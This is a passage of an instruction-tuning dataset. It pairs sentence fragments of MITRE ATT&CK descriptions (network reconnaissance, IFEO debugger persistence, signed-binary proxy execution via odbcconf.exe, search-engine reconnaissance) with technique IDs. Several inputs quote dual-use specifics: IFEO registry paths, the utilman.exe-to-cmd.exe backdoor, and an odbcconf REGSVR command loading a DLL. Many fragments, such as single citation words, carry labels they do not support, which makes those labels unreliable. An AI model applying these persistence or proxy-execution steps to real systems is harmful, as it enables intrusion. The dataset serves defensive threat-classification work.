Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network security appliances that can be used during targeting.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network security appliances that can be used during targeting. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation:", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Nmap Firewalls NIDS)", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Nmap Firewalls NIDS) ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs enable a developer to attach a debugger to an application.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs enable a developer to attach a debugger to an application. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-g  notepad.exe</code>).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -g  notepad.exe</code>). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dev Blog IFEO Mar 2010)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dev Blog IFEO Mar 2010) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe).", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications.", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "output": "T1546.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) ### Response: T1546.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe)", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Odbcconf.exe binary may be digitally signed by Microsoft.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Odbcconf.exe binary may be digitally signed by Microsoft. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse.", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/A", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /A ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "&lbrace;REGSVR", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: &lbrace;REGSVR ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\"C:\\Users\\Public\\file.dll\"&rbrace;</code>).", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \"C:\\Users\\Public\\file.dll\"&rbrace;</code>). ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro Cobalt Group Nov 2017)", "output": "T1218.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro Cobalt Group Nov 2017) ### Response: T1218.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in different online sites depending on what information they seek to gather.", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in different online sites depending on what information they seek to gather. ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1593", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1593."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use search engines to collect information about victims that can be used during targeting.", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use search engines to collect information about victims that can be used during targeting. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation:", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecurityTrails Google Hacking)(Citation:", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecurityTrails Google Hacking)(Citation: ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExploitDB", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExploitDB ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GoogleHacking)", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GoogleHacking) ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may craft various search engine queries depending on what information they seek to gather.", "output": "T1593.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may craft various search engine queries depending on what information they seek to gather. ### Response: T1593.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials.", "output": "T1593.002", "text": 